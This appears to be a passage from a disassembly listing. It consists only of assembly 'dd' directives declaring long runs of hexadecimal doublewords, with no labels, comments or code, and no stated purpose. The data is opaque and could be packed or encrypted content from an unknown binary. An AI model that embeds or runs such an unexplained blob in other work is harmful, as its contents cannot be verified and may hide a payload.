		dd 0FD6E5DF8h, 124E2Fh,	3D74F41Dh, 7D9C794Fh, 4CAE8B00h
		dd 6416C92h, 1C8D0071h,	9A2EAD6Dh, 4B00EDB7h, 5A46B52Ah
		dd 249CA2A7h, 508CD223h, 3603E852h, 0A277F35Dh,	0DD3D84Fh
		dd 0CF413AF2h, 89130909h, 8569C31h, 91230970h, 50187B1Dh
		dd 0F70001CBh, 18FE3F86h, 1C24CE8h, 7E0C7263h, 0D0892C4Dh
		dd 41025F7Bh, 9BBAF645h, 0EBF840A5h, 0C7A90743h, 73A108CAh
		dd 0C08E3C2Dh, 0D8B0A49Ah, 444D5F00h, 0BB67544Fh, 868C00ADh
		dd 3B4037DFh, 0D7501CCBh, 0B01444ECh, 0B034871Eh, 8760C62h
		dd 9E0AACA8h, 26C08F9Ch, 42C52739h, 0E28FA52h, 10A3E77Ah
		dd 805385C4h, 469CE036h, 0E4407003h, 88870325h,	78C4BD4h
		dd 28C52302h, 7C8E2075h, 0A073738h, 0FE49E97Bh,	61713A00h
		dd 0FC5900E2h, 0B6ECBF65h, 4200A2D9h, 159644A1h, 500C4C9Fh
		dd 0B71AC85h, 6ACDEACFh, 973B5480h, 43006FC4h, 0E06429FDh
		dd 5AB00Ah, 3F9F3AA5h, 0BCEAEB75h, 453A8BFEh, 666C8FFCh
		dd 2E405EA1h, 327A6003h, 919B1F76h, 0A12C0A5h, 0A9D5DB3Ah
		dd 0F400F978h, 20B7B998h, 3DB3CE30h, 0B88F4AAAh, 0D405DFEh
		dd 0E982F6D7h, 9F442D00h, 8851F8F1h, 0AC84011Ch, 3C45D017h
		dd 0E38C308Ah, 8700D27Dh, 2736AA6Fh, 24DC679Dh,	988476h
		dd 0E69ABA0h, 290E3D0Dh, 0A0E899D6h, 60C9D9F9h,	36E20735h
		dd 0C070DBE9h, 57ED3856h, 0B82AEB0Eh, 3568E0AFh, 92A0B24Ch
		dd 65201E5Ch, 2DF5C096h, 971C9079h, 0A395230Bh,	518A059h
		dd 6B15FFh, 0DFA19AABh,	0F077749Ch, 4826301Eh, 0B38D2DC0h
		dd 0EECA4F7Eh, 59F30968h, 2281A914h, 3118FDADh,	9981E460h
		dd 26280148h, 2C40F47Fh, 0EEB0E3h, 0B6CD3098h, 0F2E5C264h
		dd 8A6A1400h, 52572CF6h, 0E68400F3h, 73E84A22h,	0CE034D7Ch
		dd 16BF9D28h, 0C542EA0Ch, 0B5EA8014h, 9FC6172h,	50C7308h
		dd 339108BCh, 900AEC62h, 0E28A48h, 5362F648h, 121FD50Eh
		dd 68CAB50Ch, 128C9B9h,	19A1C6AFh, 0ECF979E6h, 0B5128527h
		dd 0DC4042FBh, 0E09F4722h, 407C91E5h, 0A196BD4Fh, 0C0032107h
		dd 78508ACBh, 3B6786D1h, 33070F73h, 70557731h, 832EC0ECh
		dd 0C104BD1Ch, 0CDB95B00h, 5C9DE2h, 25DCE674h, 0FC673921h
		dd 8135A00h, 8EFBD0EDh,	52A8002Ah, 3634114Fh, 0DC002F92h
		dd 0E734284h, 2D6C94h, 62FD0907h, 0C39E1240h, 2ADEA700h
		dd 0D1C94703h, 181E09Ch, 157CC12Eh, 3095BB38h, 0C5007150h
		dd 9A920826h, 7F1CBEh, 0B4E080E8h, 8C033625h, 0B0C85Dh
		dd 3E378FF8h, 406A5155h, 60003332h, 9DEBC9E0h, 0C778B27Bh
		dd 90FE1619h, 4FAF40D8h, 8258D400h, 8C6BAC11h, 545705DDh
		dd 903265A1h, 58C3C490h, 56687B65h, 0FD071380h,	66899E7h
		dd 581E1A3Bh, 8443C905h, 0D430058Ah, 92656F78h,	6AE80100h
		dd 0A648D12Eh, 7428D1C8h, 0F175F674h, 0DDD6C600h, 37F421FFh
		dd 5CE90146h, 0CBD36DACh, 134C70EFh, 0D83D3509h, 0BE1C00D0h
		dd 0C5A76Fh, 0B66A2F34h, 9F5BD288h, 7B60C713h, 1CDA807Ch
		dd 0C09E9A59h, 7E7A772Fh, 8300F86Dh, 0D82C2D5h,	0E6C306DBh
		dd 5C08BA29h, 8584868h,	0F84F6D14h, 315E0780h, 85007253h
		dd 65229DF8h, 0BBA6EC6h, 2D286C83h, 2E00E495h, 0F3274CA9h
		dd 2F3704B9h, 0C27C9730h, 0E4609EA4h, 6A0022D0h, 798F24D5h
		dd 0B97F89A4h, 8AA7E0D8h, 1712BCF8h, 0BC481DCEh, 0D02758FDh
		dd 9C749F24h, 16F53983h, 18500ED9h, 0B923BE46h,	210F57A1h
		dd 126CF7F6h, 90D31C40h, 1FBD65Eh, 691FED37h, 309C4ABFh
		dd 0C6132BB0h, 0C208D29h, 2E169147h, 8058668Bh,	0BF279D93h
		dd 84055442h, 0D1C5E590h, 90F0D423h, 74B952h, 2DD61661h
		dd 0F644F58Bh, 7EFD4500h, 0FBC9D770h, 0BE091FC1h, 93488069h
		dd 96D25C5Dh, 7C006370h, 295A56DEh, 32CFA2h, 75BD9095h
		dd 0CC03154Ah, 5C975500h, 2EDE2C81h, 2477A6h, 12D9CDDFh
		dd 7EF98D0Bh, 54AA8300h, 4E6E7306h, 0FAC50081h,	0E2E3DF2Eh
		dd 8300F399h, 885344B3h, 8FC02Fh, 3B4877ADh, 37CC30AAh
		dd 1F167200h, 0ECA90BF8h, 685003Ah, 0E37DEBC0h,	0D5EAAE7Bh
		dd 5A1F2300h, 0F22A8055h, 64381DEEh, 496005Eh, 6341D4E4h
		dd 6E394D00h, 59CDA49Fh, 2FE2F9h, 0DA62079Bh, 0BE81E5B4h
		dd 464D48h, 8959BC32h, 0B5DE6h,	97CBCA4Ch, 0FA791095h
		dd 827A5700h, 480E1D5Eh, 38CE01ACh, 9F08117Fh, 0BB24E868h
		dd 0B5F8600h, 480CE06Dh, 2A010006h, 8AC34064h, 9C0004EAh
		dd 3C940382h, 30431319h, 9E789350h, 1100A306h, 0AF3B27C9h
		dd 0CF882F47h, 0F1C04C18h, 0FADBF21Bh, 1E919D1Fh, 86F58AC2h
		dd 0D88E811h, 268800C7h, 63907813h, 41E21CB2h, 495DE300h
		dd 0E41B33A6h, 66080004h, 44AD528Eh, 49C20D1Ah,	19DFCDEh
		dd 0D2927F45h, 0BFC93CA0h, 8F7A07D3h, 0C40E2231h, 1842FD19h
		dd 975A108Ah, 9F52D601h, 4636D749h, 5625880h, 7CA2BE20h
		dd 5C4ED500h, 0A7B2F9E7h, 0D619077Fh, 406391BBh, 66FA9958h
		dd 1682DC0Eh, 0BEECE0AFh, 70A45D3h, 96518790h, 6E0980EDh
		dd 9A0720A3h, 4023152Eh, 38B0E207h, 13DD1A5Ch, 6FA04Dh
		dd 4B96B1ACh, 7B00816Ah, 0D3268AACh, 0FBE615Fh,	5B0F8430h
		dd 0B0EDAC3h, 0DC5848E0h, 797C2A03h, 1E72577Ah,	0C1B26A68h
		dd 3C1E0794h, 568BD8D4h, 2734B901h, 18FE2D05h, 64AC040h
		dd 2C5400F1h, 41558908h, 591DE9C8h, 0A140D67Ah,	0E31DB90Ch
		dd 24BD0566h, 0C1D1C097h, 0E744774Ch, 0E49320F1h, 2A0E5BB3h
		dd 2169961Bh, 0E0F5DF74h, 0E795F051h, 0E25673E4h, 260F052Ch
		dd 0E3AC32h, 0DEE512BDh, 440AA235h, 0C8DB63EEh,	990AD680h
		dd 0F8851C7Ah, 0D182008Ah, 0A706C965h, 2800B27Dh, 0E65FB8BEh
		dd 3A738625h, 6396603Eh, 1E544026h, 22D2A2C7h, 8371CC0Eh
		dd 0CE446035h, 0EE75DEB8h, 0B62500B0h, 0FEC43807h, 700001C5h
		dd 0F0096A54h, 7233084Eh, 5D5112C1h, 0B184AA1h,	0E41EA5h
		dd 1BBBB644h, 0D000535h, 52A3AA41h, 0D6EB6Ch, 6EABF66Ah
		dd 83D4D3FEh, 83F02E3Bh, 0F10F2F8Ah, 0B9CCC08Dh, 20DF0971h
		dd 67033CBBh, 7C0A7C0h,	0AE60038Ch, 1CFD8320h, 8240C1D3h
		dd 0C87CC84Fh, 58008755h, 0AF7D4A3Eh, 0E86628h,	0C1237A9h
		dd 0E78F4073h, 9D0F2E78h, 20945D03h, 0A8B0DFD0h, 0B4A00090h
		dd 0BABF0887h, 3E18C285h
		dd 0CC60D611h, 89780EF4h, 1F615F67h, 60819B18h,	3F074EB3h
		dd 7C324C8Bh, 67F227C0h, 90181EBFh, 38046ADh, 760FD192h
		dd 6452BE0h, 7F9B7AEh, 0E88CCDBAh, 3CE7110Ch, 205BE1C1h
		dd 4C3E223Eh, 61E1D91h,	6A34B640h, 0D61369h, 0BAEA8DC6h
		dd 0CD286556h, 4B9EC000h, 52DFBE50h, 70816096h,	0D442F08Ah
		dd 0C24668C0h, 4A55666h, 4A2CE76Ah, 0FDB2C050h,	88C0CF80h
		dd 4FD22DE0h, 26E4006Dh, 704188BEh, 0E839713Bh,	0E0F11EF0h
		dd 0D65C7FC3h, 0A8D8F313h, 32F2B6h, 4CEC0982h, 8B6F2638h
		dd 0B5F54500h, 5F41811Dh, 2AFB004Ah, 0A9DE5829h, 0C7759867h
		dd 147E9100h, 445D4C88h, 0AA2B00E4h, 30434A84h,	8A1DE2B9h
		dd 5000B6F9h, 0F8E445BDh, 0FE7F0F82h, 379B28h, 25357CC1h
		dd 0DFF66287h, 0E2C1B500h, 0FB3F06E1h, 696B00F7h, 0A240745h
		dd 0D1D3DB6h, 7A80C6BBh, 4BE442EAh, 0DDBE065Dh,	1168743Bh
		dd 7C366401h, 2C24E2A7h, 0C623F8C0h, 20E0F008h,	816E0400h
		dd 0ED581933h, 609400A0h, 0E73AE4B1h, 0AA003601h, 0FB8F9964h
		dd 188B4F05h, 0E0116F6Ch, 7401EE04h, 0DADC28CAh, 0D8E96098h
		dd 58BBFBD1h, 748A2200h, 7C6E2041h, 0EAC903Eh, 8F3FB05Eh
		dd 0C663C3DFh, 0F21AF0E3h, 0B23500C8h, 0E44F6B6Ah, 391B1728h
		dd 0A8F82DB0h, 406D85h,	0C668BEB2h, 5B7360DEh, 8C6AB800h
		dd 0FF4A2F99h, 789200F1h, 0C8E2C3BCh, 0B300EFA4h, 0B7E3A19Eh
		dd 0F6AF04h, 577F0F30h,	493F0B77h, 3DEEBC00h, 5340457Ch
		dd 99900F6Bh, 0C0808EE2h, 0EBBA084Dh, 0BB845000h, 59EE7629h
		dd 5E121C26h, 2B874646h, 17330878h, 0F84420C0h,	0E8C023Eh
		dd 2EC850E5h, 0AD091561h, 3FE0FA74h, 3A00C2EAh,	0D23D20F8h
		dd 3288773h, 0E7B6A5E9h, 7ED05499h, 0C00FCE93h,	0CFF81909h
		dd 0BC5DE08Eh, 0E86ED448h, 207760B7h, 27C57CFBh, 0C2BFAB00h
		dd 0F06ADAEDh, 0DBBC4474h, 4A981203h, 0C8FF477Ah, 3D7F89C4h
		dd 0F7F267h, 0F3C694B3h, 0FF52C2C5h, 8739DA0Ch,	0F4CEE97Fh
		dd 0AEF7182Ah, 36E011B9h, 6901D7F4h, 3C85F5A1h,	9DD06BB4h
		dd 7520CE28h, 55C45320h, 35004EC1h, 30ED65C6h, 2D5B32h
		dd 8DAB05E0h, 0E4D4B63Bh, 0F012EE05h, 88001DA1h, 7185A6D1h
		dd 29B8C3AEh, 0FF8028D6h, 0D8002184h, 77AC14C4h, 0DE8242C5h
		dd 0FD5480A0h, 0E3BE6505h, 7198AD03h, 0EE86E5h,	85504660h
		dd 0FEF79127h, 0F1C30F00h, 0B08F8D6Ch, 73EA66h,	0B9F4AF1Bh
		dd 520ABC89h, 95009BFAh, 8BEA8341h, 721D4BB1h, 0C024FAC2h
		dd 0D2B530AAh, 6100A6B8h, 0A12D94ACh, 694D6Ah, 0FB265F71h
		dd 7FB5DD01h, 7389FF13h, 18B32F0h, 0C1A8C26Dh, 0FCA6FA66h
		dd 3A000C55h, 0AA628319h, 0F28676C8h, 0DD9A00E0h, 758FA707h
		dd 5D00C50Ah, 4F77A505h, 5842EFh, 0E8C33F5Bh, 6A9E5143h
		dd 660D3B00h, 331948C7h, 0E73D00F4h, 0BE6CE32Dh, 0D9F849E8h
		dd 13300300h, 7E5352B1h, 0D208C69Ah, 0AA0020BFh, 28F208E1h
		dd 0F1DEE8Bh, 0CB1BB13Ch, 8D6A0140h, 0E60E78AFh, 80A26DB9h
		dd 0FBE4E849h, 18260003h, 67581F88h, 11E8206Fh,	84E340h
		dd 0A9B203F6h, 0CCFCF8D8h, 13A02C12h, 8AAF6707h, 60665E21h
		dd 30F9EE60h, 3258F503h, 53F57AE7h, 0ADF0A85Ch,	4F436914h
		dd 199F10h, 2108E0A1h, 9B6BB7h,	58B01144h, 73351F16h, 0B4DA410Ch
		dd 1C490E1h, 0FA199CC6h, 0E0E99723h, 5A018208h,	0BD86EA9Eh
		dd 98C9DA3h, 0A8304A33h, 84708A01h, 0CFBF46A0h,	2FFC5831h
		dd 922E287Fh, 32A50090h, 0AE480669h, 0FD54B701h, 0ED01169Ch
		dd 529CAC22h, 0A04840EBh, 76C43F2h, 19CD03FCh, 7A322704h
		dd 8D3F320h, 483800E1h,	2824A6DBh, 0E90A72BFh, 90B0E663h
		dd 0E7170C06h, 94AE0022h, 0E28C962Bh, 0E0C09C1Eh, 0BE9DEF63h
		dd 8F9486Eh, 5EE9803h, 0F6C27117h, 40398BC8h, 683A7400h
		dd 807A0365h, 42DF0014h, 697BF2D8h, 0E20215A4h,	0ABDED6F5h
		dd 6980F53Fh, 23B8BA6Ch, 7E4C5D01h, 44344684h, 1ED3D0h
		dd 27CEB510h, 48A07877h, 0F8001178h, 2D522A3h, 0EED2C8E4h
		dd 2C7E1E90h, 84D68067h, 2B36DCF8h, 499DAC00h, 0DB96CA42h
		dd 913900D2h, 0BBD97F92h, 0D51C58D1h, 0A58C691Ch, 0F8F138C2h
		dd 1DAA0007h, 0F2A8D2C9h, 0ABFE7221h, 7E299D00h, 0FF238257h
		dd 8470CF2Eh, 965D77C0h, 6126494Bh, 0D2003130h,	0A52CF880h
		dd 0B71C017Eh, 0CAEADF3Bh, 2E3EC410h, 5C6CC106h, 22194CE0h
		dd 0D20733C8h, 0E2A9C71Ch, 106832C6h, 0B1BBDCDh, 8074668Fh
		dd 0F3B9408h, 0F414003Dh, 1FBFB5EDh, 5E1DE5A4h,	0CC4003BBh
		dd 0CF5F4451h, 64FC00C7h, 9710537h, 0D70797A9h,	0C2F67BD6h
		dd 7D6D6050h, 0B6700791h, 70BA99B1h, 82CD3DFBh,	5F840300h
		dd 39BE0CF5h, 0B82E178Bh, 0A3C406B6h, 710A20CCh, 8599F3D7h
		dd 84A41030h, 0FCD87195h, 60F000C0h, 0E154EB01h, 0C30B51B7h
		dd 6689AA5h, 0B031C799h, 1DB0007Ah, 3D06247Ah, 6203B4DCh
		dd 0AF20F17h, 0B328D0A4h, 0FA497A52h, 44C06ADh,	41C6A31Fh
		dd 40D7CC05h, 0E480BAA1h, 1F4C408h, 3D93C8DCh, 0E0C33579h
		dd 9160FFA3h, 0B59E0B31h, 60177080h, 9A3B484Dh,	0B800041Bh
		dd 15685329h, 38DB25Fh,	0A1C5EA34h, 7098C9D7h, 0D2001643h
		dd 0FB33F13h, 0D86169h,	0FAE32202h, 0A78820D1h,	383ECF1Fh
		dd 0F2839380h, 866091h,	0DB37B7D4h, 669712F9h, 0C7CD6E02h
		dd 0FDBB4ACEh, 923CD360h, 2E7DE03h, 0C04B75A8h,	58E9348Eh
		dd 71000A3Eh, 0B8B51D50h, 7A036CF3h, 900259B7h,	0B9A4906Eh
		dd 0ED18030Fh, 9E4E54F7h, 71C58090h, 2174600Eh,	248A0D1h
		dd 0A2B116h, 577AB466h,	9DFD1C5Bh, 0C607E57Bh, 6F7CD37Bh
		dd 1923A7D0h, 33950B57h, 8A00983Bh, 62A22B1h, 669BFA07h
		dd 0C2815F41h, 41FE333Eh, 0DEC0B41Eh, 5A8F0CF5h, 101829C3h
		dd 0DB0A4DEEh, 5C03D1A3h, 1CEF3A04h, 0FDF465C0h, 754100F1h
		dd 0A1554B28h, 7D005910h, 8F620FAAh, 532774h, 1BE8C584h
		dd 55B4E2FBh, 1E702400h, 0B1B2ECA2h, 337A7Ah, 0DA3788CEh
		dd 2CA0DB5Bh, 0E59E2CC0h, 42B8D9h, 9B31A3DCh, 0CB3FA5B0h
		dd 60245E06h, 1D90FAEDh, 0B2E6C9h, 7F592B9Eh, 6AFCF93Ah
		dd 5F391300h, 27F32EA0h, 8580026Fh, 0E597D238h,	0DEEC8040h
		dd 9BE9D71Eh, 0A214B32Eh, 4C0539A4h, 781F099Ah,	24668015h
		dd 0C31361BFh, 0B798F21h, 0B8E14400h, 0ACA5B24Eh, 1A745Ah
		dd 76757E16h, 4667BE91h, 0C9C4A950h, 0B997B500h, 0E486F19Ch
		dd 17260089h, 82A8F0ADh, 8A0098DBh, 0CE932EDh, 76CD6FAFh
		dd 7BC27CCAh, 0BE73ECh,	8CAC7E85h, 0EBE32FC7h, 0CF092700h
		dd 0DFB44492h, 24471DA0h, 9C811F80h, 28CD8088h,	44A112B6h
		dd 1FB03E00h, 61EAC3Dh,	0A0C400ADh, 6A682C0Bh, 0E200699Dh
		dd 0CBB10E35h, 752E0F05h, 31E4E3h, 5A976C02h, 66CF713Fh
		dd 0CA609AE8h, 967EB480h, 491B0018h, 2893CBC2h,	0CD304FE9h
		dd 0D4DC604Eh, 0ED9636E8h, 0B82160B1h, 0EC5680D0h, 715EAB8Eh
		dd 19CC3086h, 0DB3EA920h, 0C16BFF00h, 0AAB5D57Bh, 0F23B3076h
		dd 0DC463850h, 0CC004971h, 668A6EC0h, 0C5259A5h, 50F77057h
		dd 2C053588h, 96EA2B1Dh, 0F09C00BBh, 7CB9061Bh,	80A0F5E6h
		dd 0B430FE7Fh, 19C3302Fh, 0E7ED00A4h, 350E5796h, 6E00DC0Ch
		dd 4DE3682Dh, 0B86FC1h,	0D3ED6211h, 356986B1h, 129CAE00h
		dd 0A81D4F9Ah, 5C790006h, 54B6816h, 0A6002249h,	9944BE7Bh
		dd 1CD17h
		dd 16C7A1CBh, 9AD6B038h, 2A9B050Fh, 3EB84056h, 1FE087h
		dd 0D4CBE5Bh, 81F4F9A7h, 7107F076h, 614AD6C6h, 0D02BEC53h
		dd 0B87698C4h, 4A44C18h, 25A23500h, 12C72AD6h, 0A31FF00h
		dd 2618EEE9h, 7057E16h,	3DCCE166h, 14E1204h, 0DF428E82h
		dd 12146460h, 0CDAF9200h, 0B30ADB81h, 15620075h, 0F089E9B9h
		dd 0EF00E0D7h, 566D43F5h, 5B8B01h, 0E5D05330h, 4E63698Eh
		dd 8C7A5C00h, 0FFF56EBAh, 75E100ECh, 0CE6A5625h, 0ED02E431h
		dd 0F271301Ah, 9400DF0Bh, 0ACF00113h, 0F1C1D1Ch, 86267A03h
		dd 23CB8087h, 0BFEC1C90h, 4DFB40FEh, 7C6BAD77h,	0C0183000h
		dd 0BCEE2086h, 0E5F6000Bh, 9EE69038h, 0A2003C46h, 52C1A6BEh
		dd 0E0DEF96h, 7D2DC05Bh, 0F056B087h, 0A727DE1Ch, 5114AEE6h
		dd 3AB03972h, 0B85280B2h, 7954CCEDh, 7119C55Bh,	0E0047C38h
		dd 0A11E3F1Fh, 471FA917h, 48ABB140h, 0D6DA47h, 1664B862h
		dd 77E7DCF7h, 0AA602E06h, 1029A870h, 11D4DD54h,	2311C9F3h
		dd 0D84A112Dh, 66087021h, 790F88C7h, 0EDD16A84h, 8DBD11Eh
		dd 8251A9Dh, 0EE808EEBh, 0ABB25597h, 5028A058h,	7D3788BEh
		dd 0F4314489h, 28242894h, 814BA11h, 0C2FC573h, 80A19A89h
		dd 3FF15960h, 18F95CD5h, 29C15FDCh, 0A1C2752Ah,	1D9F5ACh
		dd 11EFA61h, 0B11373BBh, 0A82029E6h, 63BC0703h,	0D0BA6A6Dh
		dd 7EDFBBA1h, 76092FCh,	1F531D78h, 956C3B14h, 8B77EC00h
		dd 8E0C1BF8h, 6F897900h, 0B8EADE9Ah, 943D009Dh,	0C7749EE8h
		dd 2000F017h, 0C47C758Fh, 56D081h, 9D89EA32h, 0FCE38C5Eh
		dd 5B137900h, 61B9983Ah, 372109C8h, 268025A5h, 0E8EC698Fh
		dd 0E05761FBh, 4300DDEEh, 2A9E6C39h, 938447Bh, 0E6CFFBC0h
		dd 83DF5900h, 0F00B7CBh, 0FADCCAC9h, 1238E904h,	99F920h
		dd 575EB9AFh, 5A140C4Ch, 9EF2FE7h, 414FF0h, 0A7EE884Dh
		dd 17300C6h, 6030112Eh,	0C300DF59h, 0A3CEADFBh,	0CD5A89h
		dd 1F529AF9h, 34F32D1Ch, 0DF1EB0Eh, 0C4B460B0h,	5AA6A29h
		dd 1D71A6E0h, 8480FBB2h, 387CBE45h, 40A496FFh, 0B791D5Ch
		dd 8380AEFBh, 0FA8EC325h, 7AC22C00h, 0E80DAACAh, 5D530063h
		dd 34E712B5h, 0EC013124h, 0C9276615h, 16703993h, 81694CDAh
		dd 0A86D0D00h, 0AB9F25E1h, 1124DD00h, 628F8E3Dh, 0D1F90003h
		dd 0B1D75AD2h, 0D400AE6Eh, 2BADC0D9h, 0FBA8117h, 0DC722A8Ch
		dd 917B0520h, 0EF70A2DBh, 0FF7AFEE8h, 0B7342200h, 4A37CE6Fh
		dd 832D009Eh, 4411A88Ch, 7D002BE2h, 9FF99CDBh, 960A20h
		dd 0BB5DED28h, 31EA7415h, 7C007AEEh, 3B84C3B7h,	3BABD27h
		dd 5A430CB6h, 0D89975DEh, 0AEF4201Ch, 8702520Eh, 1F25C027h
		dd 1FE5F01h, 0FA827154h, 0C123071Ah, 3BDCCB2h, 499D3000h
		dd 0CCD25ADDh, 0AD9E02A2h, 0EF46866Ah, 0E1118C0h, 1A8838h
		dd 37E5FB5Bh, 263F98Ah,	778FD8F0h, 644091BAh, 0FE00C0B2h
		dd 2D704605h, 4875B764h, 0E0446980h, 22A10010h,	0E7980C51h
		dd 589014F2h, 0A3306800h, 42E9A511h, 0F976CCh, 6734FE7Dh
		dd 0B8659053h, 9BC8AA01h, 0F848BEBBh, 0DE7FC0h,	93DDE6EDh
		dd 355EB84Fh, 0D058CB1Ch, 0FC9AEC40h, 98ACAA44h, 7DA7247Ch
		dd 0F33D409Ch, 581EB826h, 6E83737Ch, 807ECB8Bh,	0FA0D289Eh
		dd 0B9762Fh, 6FDB9CAAh,	0A31098C9h, 32009490h, 390C275Fh
		dd 72DD403Fh, 157407ACh, 0D1CD85FDh, 0F063A233h, 7D00C2DFh
		dd 832CDAA6h, 38CC7C8h,	62B2BA02h, 0D3886739h, 5D00070Eh
		dd 9B8AAA1h, 5F0557h, 0AFE2521Ah, 85650222h, 6F703500h
		dd 60D1D672h, 27679B5h,	6ADE0A0Dh, 0AEC0E112h, 200DB9Dh
		dd 0EED447F1h, 0A1FCF3h, 0C91C4E8Dh, 3B343EDDh,	0D9659A00h
		dd 0B676FB4Bh, 94900F5h, 0E3906FF6h, 440024B9h,	5F353C53h
		dd 1806D2h, 6FC5CF87h, 0AF9310BFh, 117B5200h, 41378B61h
		dd 338600DBh, 5A677F74h, 1C07DAA0h, 0D7D10484h,	7F4F730h
		dd 185400F1h, 8D25B3B9h, 2D00C85Eh, 107A9F2Fh, 0F03448h
		dd 9739E736h, 54E3F08h,	1FC9E500h, 0E204CFD3h, 83F900D5h
		dd 0BF760309h, 0E7008D92h, 5B0F7965h, 0EC3F4D7Ah, 9B3A004Ch
		dd 90AB419Eh, 2109C918h, 0E0D791C1h, 1874048h, 0A06EC293h
		dd 0F0753CFBh, 3DF8538Bh, 39AC9500h, 7F6A9699h,	447E00B3h
		dd 9F282A43h, 9000E39Ch, 0A94EE020h, 13340559h,	5C36D3h
		dd 95C37815h, 30049C1h,	0AC2C6B9h, 0FA1714C7h, 15530079h
		dd 1B089E23h, 0B000046Bh, 0E5825E1Ah, 0B5578Fh,	6A7983B3h
		dd 9F9FCE6h, 34ABAF00h,	0A7881E06h, 0CA7886h, 3C4883C9h
		dd 0E1AA62BCh, 678F400h, 19181316h, 20B50038h, 3DC7297Ah
		dd 3B00B75Dh, 0F327417Dh, 923E5Bh, 0B0CFFD2h, 0D9B9C873h
		dd 389DCC00h, 0EC8EE9ADh, 0FA2100DCh, 0B672569Ch, 0A8002A76h
		dd 6B65A33Ah, 4CD1A492h, 7C00C1B3h, 878FCF39h, 2B825DCh
		dd 0BEBCB600h, 40C381E5h, 8EDCFB4Eh, 9120015h, 8262939h
		dd 0BA02B55Eh, 80E4A173h, 9AD0A035h, 1351F80Bh,	301256h
		dd 1DC26C80h, 9F0036F5h, 4675C916h, 0E8D6022h, 4CBCDB56h
		dd 0B67C3CE1h, 0D6E0F254h, 0D3007235h, 28297FF2h, 0FFE907h
		dd 5F6F912h, 0E681D95Ah, 0D51B9C07h, 0E7F5CA9Dh, 3FA68CD0h
		dd 0CC304C50h, 0D02EF3Eh, 771902F4h, 5E9E8640h,	0AF163C00h
		dd 94342BFDh, 0C2B30381h, 0E1DBF09h, 75F020B7h,	9A09479Eh
		dd 83BD13E8h, 807C193Ch, 1859A6CAh, 28AC8389h, 727B67A0h
		dd 47627A16h, 933FF31Eh, 0A4405E7Bh, 0CB0182A4h, 0AFE13B8Ch
		dd 0EB3C1D80h, 5B88F43Ah, 95C91B00h, 0F13870BDh, 0D5440060h
		dd 0DD74B798h, 2300A98Fh, 2795FE08h, 0D3294Ah, 25F785D7h
		dd 0FFEC344Dh, 821B8609h, 6A5D80EBh, 5D253F9h, 0B2032173h
		dd 70158761h, 0B002804Eh, 3F67A900h, 0B1490E63h, 0E7F60096h
		dd 301D53A3h, 0D200DA7Ah, 89122E03h, 7637D85Ch,	995B008Eh
		dd 8BEC6F31h, 0CF01DD77h, 1F074B13h, 25CC47CAh,	0D566005Ah
		dd 0B383D9CBh, 0B900EC9Dh, 0A1AA8F99h, 3187473Fh, 393E523Ch
		dd 184CC80h, 13B12400h,	0A19CC272h, 1B7C00A8h, 0E58D52F5h
		dd 1600B589h, 0A02DB9E4h, 7C666ADCh, 609400F8h,	0FCFF4556h
		dd 50B8E90Ah, 0B2387807h, 5C002115h, 5C5B4E13h,	7100005Fh
		dd 0C10936E1h, 4707C8A8h, 0E7276E96h, 0C3751BA0h, 62740049h
		dd 6014A32Eh, 68122F8Ah, 1D076586h, 0C6C00AD7h,	0E47542h
		dd 9ADEF8F5h, 0BB63B209h, 0AE1D7300h, 14338E95h, 48570074h
		dd 84516C66h, 9A0076E0h, 0F9601C9Ch, 17D1EB7Fh,	7E3A92h
		dd 0EE83302h, 0D800CFE4h, 9DB4414Eh, 0FCA8C2h, 0A0388125h
		dd 0EE33EDABh, 68699000h, 0E5191587h, 323D0431h, 0BE1C083Fh
		dd 0DAB39700h, 18C9D6h,	49FC2DA1h, 0B8596536h, 0EA737126h
		dd 0FDB16800h, 141EEF7Bh, 0C2756BF9h, 3A49C800h, 57819B04h
		dd 34F2587Ah, 9FDF2E1Fh, 5018DD7h, 0C43A0F31h, 7206A420h
		dd 0E551006Dh, 24997462h, 7139B98h, 0EE00CFC9h,	84FFFB31h
		dd 959E396Ah, 0E600FC58h, 341BB4E3h, 4E008177h,	8FA739A3h
		dd 0F1EAADh, 5B057470h,	501D3D73h, 3BAF1F00h, 0F064A0D9h
		dd 0D57F3B94h, 0B594980h, 8B2EBE89h, 4B0DA71Ch,	202F3381h
		dd 2C7486B7h, 0E0CD0017h, 0F28880D6h, 0FA001863h, 2161C45Fh
		dd 3EE9240h, 6ED7ECD4h,	1B88B502h, 62007F5Bh, 0B6C5BAB8h
		dd 3E42FAh, 0E9E6FDCh, 1D0B0460h, 9C2F4C00h, 68D88AE8h
		dd 0D7A300CEh, 0F2C6B8D4h
		dd 0EB00111Fh, 5072890Ah, 0DCF7626Fh, 0E782C066h, 0B2DFE5B4h
		dd 6783D300h, 869CD639h, 0B43151E3h, 82C5F8h, 8D290CF4h
		dd 3D062E1h, 0C6FF4F00h, 0FC650891h, 0BEFA77h, 0B4E95FD8h
		dd 0A09394C7h, 8036C33Eh, 0D5713766h, 586CEE39h, 7058917Ah
		dd 0F3196803h, 88B83879h, 7E0E8C4Bh, 1BCFCEBh, 0D933028Fh
		dd 16CC9F4h, 1E2217D5h,	0E895C24Dh, 62006127h, 96F1F23Eh
		dd 7E2C4AF0h, 67BF00C9h, 0D859A884h, 7C00E578h,	0F0387288h
		dd 483D7565h, 31587485h, 0BC322B00h, 71C10884h,	0DE2A7F00h
		dd 488DBB81h, 18220015h, 31292766h, 0A6008FB1h,	4C15451h
		dd 95197Fh, 0E212476Dh,	8FF0E329h, 1D3B3E79h, 46027D16h
		dd 0D6337505h, 0A0B48F37h, 7C9A1D9h, 6024FB97h,	394B0029h
		dd 0FEA0C1E4h, 5A5C8ACEh, 73E70BC7h, 990420C7h,	0F011C16Bh
		dd 68A00005h, 306AAB37h, 5FB84376h, 0DE9F0807h,	0A6A7F967h
		dd 0C0841EF2h, 0BB07EFh, 4AF1A542h, 9136FAA2h, 40064601h
		dd 535B031Eh, 7195C4h, 0BD0259DDh, 58E65A13h, 68993Eh
		dd 627BD775h, 3550E2Ch,	2E17AD15h, 6DB082CCh, 7FFEF9BDh
		dd 0D880D4A2h, 4C1E5BECh, 3B00C5EEh, 0A58937E8h, 6F927Dh
		dd 64D01488h, 0F4B86E69h, 41541F00h, 9D8C24FAh,	0E32F023Bh
		dd 83BB6577h, 0FE809442h, 0FD91252Eh, 6D0F4098h, 603387A9h
		dd 6EB9D2C5h, 3AAC005Ah, 0AE60FEF5h, 7D00013Eh,	2A4CD754h
		dd 0ECC888Ch, 9CF73DB7h, 71BE2E00h, 3AF2C851h, 24B40A00h
		dd 0EBD6770Fh, 0F93B07E4h, 90DC7367h, 5DB385F6h, 8A13FC00h
